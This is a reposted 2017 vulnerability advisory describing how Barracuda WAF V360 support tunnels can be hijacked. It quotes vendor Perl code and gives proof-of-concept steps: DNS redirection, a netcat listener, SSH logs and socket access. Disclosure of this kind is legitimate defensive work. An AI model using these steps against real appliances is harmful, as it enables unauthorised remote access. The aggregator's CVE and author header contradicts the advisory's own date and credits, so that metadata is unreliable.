Barracuda WAF V360 Firmware Support Tunnel Hijack

CVE Category Price Severity
CVE-2020-9051 CWE-304 Not specified High
Author Risk Exploitation Type Date
Soroush Dalili High Remote 2017-07-07
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at:

Below is a copy:

Barracuda WAF V360 Firmware Support Tunnel HijackKL-001-2017-014 : Barracuda WAF Support Tunnel Hijack

Title: Barracuda WAF Support Tunnel Hijack
Advisory ID: KL-001-2017-014
Publication Date: 2017.07.06
Publication URL:

1. Vulnerability Details

     Affected Vendor: Barracuda
     Affected Product: Web Application Firewall V360
     Affected Version: Firmware v8.0.1.014
     Platform: Embedded Linux
     CWE Classification: CWE-304: Missing Critical Step In Authentication
     Impact: Remote Access
     Attack vector: DNS, SSH

2. Vulnerability Description

     During the creation of a tunnel connection to barracuda
     support, the code creating the tunnels fails to:
       1) Validate DNS Records,
       2) Validate SSH Host Key, and
       3) Transmit Public SSH Key over an encrypted, verified channel.

3. Technical Description

     file: /usr/local/bin/support-tunnel

     The first host added to the available remote hosts is done through using
     DNS resolution on If an attacker can control DNS,
     it is possible to subvert network traffic by creating records that will resolve to
     an attacker's IP address.

       sub remote_hosts() {
           my $central = '';
           my @hosts;
           my $host = resolv_host($central) || $central;

           push @hosts, {
               'ssh' => { 'host' => $host, 'port' => 22 },
               'web' => { 'host' => $host, 'port' => 80 },

           push @hosts, {
               'ssh' => { 'host' => '', 'port' => 22 },
               'web' => { 'host' => '', 'port' => 80 },

           push @hosts, {
               'ssh' => { 'host' => '', 'port' => 22 },
               'web' => { 'host' => '', 'port' => 80 },

           return @hosts;
       } # remote_hosts

     The appliance will send a URL-encoded copy of the public key using HTTP.

       sub tunnel_post_key($$$$) {
               my $host        = shift;
               my $port        = shift;
               my $serial      = shift;
               my $pubkey      = shift;


               $url    = sprintf('/tunnel-broker?serial=%s&cs=%s&key=%s&keycs=%s&version=%s', $serial,
Digest::MD5::md5_hex($serial), url_escape($pubkey), Digest::MD5::md5_hex($pubkey), url_escape(VERSION));

               # Write an HTTP request.
               $req    = "GET $url HTTP/1.0\r\nHost: $host\r\n\r\n";

               do {
                       $retval = aio_write($sock, $req);
               } while ($retval == AIO_WOULDBLOCK && $stop > time);

               if ($retval != AIO_SUCCESS) {
                       throw(SYSTEM_EXCEPTION, "aio_write($addr:$port, $req): $!");
                       return undef;


               return 1;
       } # tunnel_post_key

     It should be noted that the appliance is shipped with a default key
     but will generate and submit a new key should the default key no longer exist.
     This happens in the ssh_key_path function.

     Finally, the appliance specifically sets StrictHostKeyChecking to no.
     This instructs the ssh client to ignore any SSH host-key mismatch and allows
     an attacker to more easily leverage their own SSH server for attacks.

       sub ssh_command_args($\$$$$;$$) {
               my $sshcmd      = shift;
               my $serialref   = shift;
               my $sshkey      = shift;
               my $sshhost     = shift || '';
               my $sshport     = shift || 22;
               my $lsshport    = shift || local_ssh_port || 22;
               my $lwebport    = shift || local_web_port || 8000;
               my $lsslvpnport = shift;
               if( get_product() eq "bvs" ) {
                       $lsslvpnport = local_sslvpn_port || 443 if !$lsslvpnport;
               my @version     = ssh_version_of($sshcmd);
               my (@args, $has_unixfwd, $has_exitonfwdfailure, $has_defineremotehost);

               $has_unixfwd            = ($version[0] > 4 || ($version[0] == 4 && $version[1] >= 4));
               $has_exitonfwdfailure   = ($version[0] > 4 || ($version[0] == 4 && $version[1] >= 4));
               $has_defineremotehost   = ($version[0] >= 4);

               push @args, '-T';                               # Don't allocate a TTY
               push @args, '-' . ('v' x want_verbose)          # Passthru verbosity
                       if want_verbose;
               push @args, '-o', 'StrictHostKeyChecking=no';   # Ignore Support01 host key (bad idea?)
               push @args, '-i', $sshkey;

               push @args, '-o', 'ExitOnForwardFailure=yes'    # Abort if forwarding fails. (By default if remote
forwarding fails SSH continues the session.)
                       if $has_exitonfwdfailure;

               if ($has_unixfwd) {
                       push @args, '-R', "[/var/tunnels/ssh/${$serialref}.sock]:$lsshport";
                       push @args, '-R', "[/var/tunnels/www/${$serialref}.sock]:$lwebport";
                       push @args, '-R', "[/var/tunnels/sslvpn/${$serialref}.sock]:$lsslvpnport" if
get_product() eq "bvs";

     To demonstrate, we created DNS entries to force to resolve to
     Next, we bound to port 80. Using either the web application or admin console, we initiated a support
     tunnel connection.

       # nc -l -p 80
       TE: deflate,gzip;q=0.3
       Connection: TE, close
       User-Agent: libwww-perl/5.805

     After creating the appropriate user and adding the public key to the
     authorized_keys file, the SSH connection was successful.

       sshd[4946]: Accepted publickey for redir from port 60950 ssh2: RSA
       sshd[4946]: pam_unix(sshd:session): session opened for user redir by (uid=0)
       systemd-logind[692]: New session 92 of user redir.
       systemd: pam_unix(systemd-user:session): session opened for user redir by (uid=0)

     The tunnels can be connected to using the newly created unix socket.

       # ncat -U /var/tunnels/www/853466.sock
       GET / HTTP/1.1

       HTTP/1.1 400 Bad Request
       Server: BarracudaHTTP 4.0
       Date: Thu, 15 Dec 2016 15:27:22 GMT
       Content-Type: text/html
       Content-Length: 178
       Connection: close

       <head><title>400 Bad Request</title></head>
       <body bgcolor="white">
       <center><h1>400 Bad Request</h1></center>
       <hr><center>BarracudaHTTP 4.0</center>

4. Mitigation and Remediation Recommendation

     The vendor has patched this vulnerability in the latest
     virtual appliance release.

5. Credit

     This vulnerability was discovered by Matt Bergin (@thatguylevel)
     of KoreLogic, Inc. and Joshua Hardin.

6. Disclosure Timeline

     2016.12.20 - KoreLogic sends vulnerability report and PoC to
     2016.12.21 - Barracuda acknowledges receipt of the vulnerability
     2017.01.09 - Barracuda informs KoreLogic that they are working
                  on remediation for this issue.
     2017.01.26 - Barracuda asks for additional time beyond the
                  standard 45 business day embargo to address this
                  and other issues reported by KoreLogic.
     2017.02.27 - 45 business days have elapsed since the issue was
     2017.04.10 - 75 business days have elapsed since the issue was
     2017.05.15 - 100 business days have elapsed since the issue was
     2017.05.24 - Barracuda informs KoreLogic that the issue has been fixed.
     2017.07.06 - KoreLogic public disclosure.

7. Proof of Concept

     See 3. Technical Description

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